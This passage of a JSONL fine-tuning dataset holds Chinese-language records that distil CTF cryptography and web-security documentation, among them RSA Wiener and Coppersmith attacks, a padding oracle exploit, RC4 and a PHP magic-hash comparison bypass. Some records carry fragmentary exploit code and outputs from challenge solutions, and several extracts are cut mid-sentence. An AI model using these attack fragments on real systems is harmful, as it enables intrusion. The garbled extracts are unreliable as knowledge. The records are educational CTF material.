时，称 a 是模 m 的原根，简称 m 的原根。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- discrete-log\n- discrete-log.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 271, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "基本定义", "heading_path": ["离散对数", "基本定义"], "original_id": "docs-15899587c71edd09e45e", "original_line": 202, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "source_root": "docs", "source_sha256": "12483417d69f6b25f640d4229054bf6914168d469d2259d1b5b0f1a3c915fe8d", "split": "train", "split_group_key": "4bf05a463032301eac5cfeb4", "subcategory": "crypto/asymmetric/discrete-log", "terms": ["密码学", "crypto", "asymmetric", "discrete-log", "discrete-log.md"], "title": "离散对数"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/discrete-log/discrete-log.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c472b081a15c84ecd493", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/lattice/introduction.md` 中的章节「格中计算困难性问题」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/lattice/introduction.md`\n标题：基本介绍\n章节：基本介绍 > 格中计算困难性问题\n路径分类：crypto / crypto/asymmetric/lattice\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“格中计算困难性问题”展开。\n- 最短向量问题(Shortest Vector Problem，SVP)：给定格 L 及其基向量 B ，找到格 L 中的非零向量 v 使得对于格中的任意其它非零向量 u，$||v|| \\leq ||u||$。\n- $\\gamma$-近似最短向量问题(SVP-$\\gamma$)：给定格 L，找到格 L 中的非零向量 v 使得对于格中的任意其它非零向量 u，$||v|| \\leq \\gamma||u||$。\n- 连续最小长度问题(Successive Minima Problem, SMP):给定秩为 n 的格 L，找到格 L 中 n 个线性无关向量 $s_i$，满足 $\\lambda_i(L)=||s_i||, 1\\leq i \\leq n$。\n- 最短线性无关向量问题(Shortest Independent Vector Problem, SIVP)：给定一个秩为 n 的格 L，找到格 L 中 n 个线性无关向量 $s_i$，满足$||s_i|| \\leq \\lambda_n(L), 1\\leq i \\leq n$。\n- 唯一最短向量问题(Unique Shortest Vector Problem, uSVP-$\\gamma$)：给定格 L，满足 $ \\lambda_2(L) > \\gamma \\lambda_1(L)$，找到该格的最短向量。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- lattice\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 717, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "格中计算困难性问题", "heading_path": ["基本介绍", "格中计算困难性问题"], "original_id": "docs-31a37ad4efc6ac60a4ce", "original_line": 226, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/introduction.md", "source_root": "docs", "source_sha256": "8822b12a2d518d2266f486fb870e6a054e614428b5ba8a49b8802138e9f179cc", "split": "train", "split_group_key": "e2fcf211195ae720ae842f0d", "subcategory": "crypto/asymmetric/lattice", "terms": ["密码学", "crypto", "asymmetric", "lattice", "introduction.md"], "title": "基本介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/lattice/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-c77449165d72654b0107", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「SCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：f.write(pubkey.exportKey()) > SCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：3/3\n\n核心知识点：\n- 本节主题围绕“SCTF RSA1”展开。\n- `shell ➜ level2 git:(master) ✗ python RSAwienerHacker.py Testing Wiener Attack Hacked!\n- 1gKWTH6lAwY3ZZxzZemNLq W7M6RxcILdUkfU+nofDVcwKBgQEAjoHdoOMZKOjuUREIx1BfYTEF0uL/m4Nx5CnC 3ZJwZdQJbVjDdjEH8dT8zy2zCm0CfFZhfL5+C37ZIihmnvs9LywgWTwh7/8xAGr7 p2jeSgpMGqcJ1UiYyB/P+933nK6uCxX0ssfgvLoxT14Hg60Of7mCpNIB+mgpbWZ8 z1e5Sw== -----END PUBLIC KEY----- `` 发现...\n- ('hacked_d = ', 29897859398360008828023114464512538800655735360280670512160838259524245332403L) ------------------------- Hacked!\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `发现私钥 e 和 n 几乎一样大，考虑 d 比较小，使用 Wiener's Attack。得到 d，当然也可以再次验证一遍。`\n- plain: 1 行，首行 `这时我们解密密文，解密代码如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1783, "chunk_count": 3, "chunk_index": 2, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "SCTF RSA1", "heading_path": ["f.write(pubkey.exportKey())", "SCTF RSA1"], "original_id": "docs-20d8334637e9d2d0ea4f", "original_line": 243, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "74713e25f15b8c8c6cbe5aa5", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-complex.md"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-cb6a6605747790cde329", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_complex.md` 中的章节「2018 Tokyo Western Mixed Cipher」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_complex.md`\n标题：RSA 复杂题目\n章节：RSA 复杂题目 > 2018 Tokyo Western Mixed Cipher\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 Tokyo Western Mixed Cipher”展开。\n- 题目给的信息如下所示： - 每次交互可以维持的时间长度约为 5 分钟 - 每次交互中中n是确定的 1024 bit，但是未知， e 为 65537 - 使用 aes 加密了 flag，密钥和 IV 均不知道 - 每次密钥是固定的，但是 IV 每次都会随机 - 可以使用 encrypt 功能随意使用 rsa 和 aes 进行加密，其中每次加密都会对 aes 的 iv 进行随机 - 可以使用 decrypt 对随意的密文进行解密，但是只能知道最后一个字节是什么 - 可以使用 print_flag 获取 flag...\n\n关键术语：\n- 密码学\n- AI安全\n- crypto\n- asymmetric\n- rsa\n- rsa-complex.md\n- code:python\n\n代码/命令片段线索：\n- python: 23 行，首行 `def get_enc_key(io):`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1041, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "2018 Tokyo Western Mixed Cipher", "heading_path": ["RSA 复杂题目", "2018 Tokyo Western Mixed Cipher"], "original_id": "docs-56c4d25ff15c9951ddf4", "original_line": 12, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "source_root": "docs", "source_sha256": "d9008d752e1cf4491d9a9862bd11a546f5272f7474e5acb6216197f1d6d7347c", "split": "train", "split_group_key": "99deda9295fb39b21884fa4f", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "AI安全", "crypto", "asymmetric", "rsa", "rsa-complex.md", "code:python"], "title": "RSA 复杂题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_complex.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-cf3ff2598a95d017fe90", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/certificate/introduction.md` 中的章节「引用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/certificate/introduction.md`\n标题：证书格式\n章节：证书格式 > 引用\n路径分类：crypto / crypto/certificate/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“引用”展开。\n- Attacking RSA for fun and CTF points – part 1 2.\n- What are the differences between .pem, .cer and .der?\n\n关键术语：\n- 边界/溢出\n- 栈\n- 密码学\n- 漏洞利用\n- crypto\n- certificate\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 277, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "crypto", "heading": "引用", "heading_path": ["证书格式", "引用"], "original_id": "docs-a63b8e1dc878c1bb9cec", "original_line": 359, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/certificate/introduction.md", "source_root": "docs", "source_sha256": "d7a1d92b7b076f94576ab08ebb8f649a2deafe29b79e9a1932f2369839e329b6", "split": "train", "split_group_key": "b6b808254a7d1b5a4f5a262c", "subcategory": "crypto/certificate/introduction.md", "terms": ["边界/溢出", "栈", "密码学", "漏洞利用", "crypto", "certificate", "introduction.md"], "title": "证书格式"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/certificate/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-cf49062aa0cb06f7e0de", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/padding-oracle-attack.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/padding-oracle-attack.md`\n标题：Padding Oracle Attack\n章节：Padding Oracle Attack > 2017 HITCON Secret Server Revenge > 利用思路\n路径分类：crypto / crypto/blockcipher/mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“利用思路”展开。\n- \"), pad(\"check-token\"), iv_encrypt) sendmsg(check_token_iv, cipher_welcome) p.recvuntil(\"Give me the token!\n- \\n\") p.sendline(base64.b64encode(candidates[0])) print p.recv() p.interactive() if __name__ == \"__main__\": main() `` 效果如下 `shell ...\n- get_token_iv = flipplain(pad(\"Welcome!\n- 79 1 hitcon{uNp@d_M3th0D_i5_am4Z1n9!\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- 漏洞利用\n- crypto\n- blockcipher\n- mode\n- padding-oracle-attack.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `效果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2850, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "利用思路", "heading_path": ["Padding Oracle Attack", "2017 HITCON Secret Server Revenge", "利用思路"], "original_id": "docs-f0fcb61fb13d230a3860", "original_line": 344, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "source_root": "docs", "source_sha256": "fb6fc7debd8aad3192ba0bd4d4358db49797dce32d33424ec6924178ff669f36", "split": "train", "split_group_key": "17ac0ba978549fecac0826c7", "subcategory": "crypto/blockcipher/mode", "terms": ["ROP/JOP", "密码学", "AI安全", "漏洞利用", "crypto", "blockcipher", "mode", "padding-oracle-attack.md"], "title": "Padding Oracle Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/padding-oracle-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-cf6d53070f3b73b503ff", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/special/rc4.md` 中的章节「生成流密钥」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/special/rc4.md`\n标题：RC4\n章节：RC4 > 基本流程 > 生成流密钥\n路径分类：crypto / crypto/streamcipher/special\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“生成流密钥”展开。\n- ``c i = j = 0 for each message byte b i = (i + 1) (mod 256) j = (j + S[i]) (mod 256) swap(S[i], S[j]) t = (S[i] + S[j]) (mod 256) print S[t] `` [图片: image-20180714193537976;\n- 文件: figure/rc4_key.png] 我们一般称前两部分为 KSA ，最后一部分是 PRGA。\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- special\n- rc4.md\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `i = j = 0`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 235, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "生成流密钥", "heading_path": ["RC4", "基本流程", "生成流密钥"], "original_id": "docs-23093362b72259b3ba26", "original_line": 441, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/special/rc4.md", "source_root": "docs", "source_sha256": "047dd39664daa0045dad08d664de55ce9d5ca63b8846ee5f841bc6a38dc635c5", "split": "train", "split_group_key": "5e691405375c58d9019d3294", "subcategory": "crypto/streamcipher/special", "terms": ["密码学", "crypto", "streamcipher", "special", "rc4.md", "code:c"], "title": "RC4"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/special/rc4.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d05799b342c981bedf8e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「魔法 Hash」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > PHP 特性 > 魔法 Hash\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“魔法 Hash”展开。\n- ``php \"0e132456789\"==\"0e7124511451155\" //true \"0e123456abc\"==\"0e1dddada\" //false \"0e1abc\"==\"0\" //true ` 在进行比较运算时，如果遇到了 0e\\d+ 这种字符串，就会将这种字符串解析为科学计数法。\n- 所以上面例子中 2 个数的值都是 0 因而就相等了。\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- php: 3 行，首行 `\"0e132456789\"==\"0e7124511451155\" //true`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "魔法 Hash", "heading_path": ["PHP 代码审计", "PHP 特性", "魔法 Hash"], "original_id": "docs-d28c098b3062a72c8ada", "original_line": 1636, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "8f5c1e027bfb7e10e085282e", "subcategory": "web/php/php.md", "terms": ["web", "php", "php.md", "code:php"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d0d0dc91d6c4507d2cdd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md` 中的章节「SCTF RSA3」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/rsa_coppersmith_attack.md`\n标题：Coppersmith 相关攻击\n章节：Coppersmith 相关攻击 > Related Message Attack > SCTF RSA3\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SCTF RSA3”展开。\n- As a general precaution from similar exploits, you should not execute Python code from this directory F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aLL ``\n- = 0: message = '0' + message print message.decode('hex') ` 得到明文 `shell ➜ sctf-rsa3-level3 git:(master) ✗ python exp.py F4An8LIn_rElT3r_rELa53d_Me33Age_aTtaCk_e_I2_s7aLL ` 当然，我们也可以直接使用 sage 来做，会更加简单一点。\n- 这里我们以 SCTF RSA3 中的 level3 为例进行介绍。\n- 首先，跟踪 TCP 流可以知道，加密方式是将明文加上用户的 user id 进行加密，而且还存在多组。\n- Untrusted users could put files in this directory which might then be imported by your Python code.\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- rsa-coppersmith-attack.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 18 行，首行 `id1 = 1002`\n- shell: 2 行，首行 `➜ sctf-rsa3-level3 git:(master) ✗ python exp.py`\n- python: 19 行，首行 `def attack(c1, c2, b, e, n):`\n- shell: 4 行，首行 `➜ sctf-rsa3-level3 git:(master) ✗ sage exp.sage`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 3860, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "SCTF RSA3", "heading_path": ["Coppersmith 相关攻击", "Related Message Attack", "SCTF RSA3"], "original_id": "docs-f8fcf56074a19521c78a", "original_line": 250, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "source_root": "docs", "source_sha256": "db220315af2be2a8291b622dd2df0469bd60abd814130105e60db525c7d32fa0", "split": "train", "split_group_key": "f8135e6ed2d50fe79255f983", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "rsa-coppersmith-attack.md", "code:python", "code:shell"], "title": "Coppersmith 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/rsa_coppersmith_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d1553dbf353a626c2f8f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/polyalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/polyalphabetic.md`\n标题：多表代换加密\n章节：多表代换加密 > Nihilist > 原理\n路径分类：crypto / crypto/classical/polyalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- Nihilist密码又称关键字密码：明文 + 关键字 = 密文。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- classical\n- polyalphabetic.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `a -> M[2,3] -> 23`\n- plain: 2 行，首行 `23 -> M[2,3] -> a`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 516, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["多表代换加密", "Nihilist", "原理"], "original_id": "docs-5a62edc189de80c9e320", "original_line": 381, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "source_root": "docs", "source_sha256": "16e9d23649907764bf91530b02b8733cc909e3ba9fa80e74a20055102c0215a0", "split": "train", "split_group_key": "414720b52228fd957b253423", "subcategory": "crypto/classical/polyalphabetic.md", "terms": ["密码学", "漏洞利用", "crypto", "classical", "polyalphabetic.md"], "title": "多表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/polyalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d189caa883b43476d11c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ctr.md` 中的章节「from secret import flag」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ctr.md`\n标题：CTR\n章节：from secret import flag\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“from secret import flag”展开。\n- \" assert len(msg) == 46 assert len(key) == 16 enc_key = os.urandom(16) # 随机key initial_value = bytes_to_long(enc_key) # key转为整数 hash = sha256(str(initial_value).encode()).hexdigest() # 字符串(key) 的 sha256 aes = AES.new(enc_key,AES.MODE_ECB) enc_flag = aes.enc...\n- flag = b'[FLAG_REDACTED]' def padding(msg): return msg + os.urandom(16 - len(msg) % 16) # 随机值填充 msg = b\"where is the flag?\n- Key in my Heart/Counter!\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- ctr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 476, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "from secret import flag", "heading_path": ["from secret import flag"], "original_id": "docs-02d2537bebe8337ed829", "original_line": 333, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "source_root": "docs", "source_sha256": "3cc50c89e7ed49c2959bc6044eb83c42163db1c59e43c10428c03f7068d1efb4", "split": "train", "split_group_key": "cd36079e70b1260a21613024", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "ctr.md"], "title": "CTR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-d35d6c40f57ee704938d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ctr.md` 中的章节「特点」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ctr.md`\n标题：CTR\n章节：CTR > 特点\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“特点”展开。\n- | 特性 | 描述 | | ----------------------------- | -------- | | 加密可并行化 (Encryption parallelizable) | 是 (Yes) | | 解密可并行化 (Decryption parallelizable) | 是 (Yes) | | 随机读取访问 (Random read access) | 是 (Yes) | CTR 模式比 OFB 模式有一些优势。\n- 一个优点是它允许并行加密和解密多个块，因为可以为每个块独立计算密钥流。\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- ctr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 272, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "特点", "heading_path": ["CTR", "特点"], "original_id": "docs-f437401d6581a46c0f53", "original_line": 18, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "source_root": "docs", "source_sha256": "3cc50c89e7ed49c2959bc6044eb83c42163db1c59e43c10428c03f7068d1efb4", "split": "train", "split_group_key": "99ca710c4fba2b12f5c4964b", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "ctr.md"], "title": "CTR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "split": "train", "type": "ctf_lora_sft"}
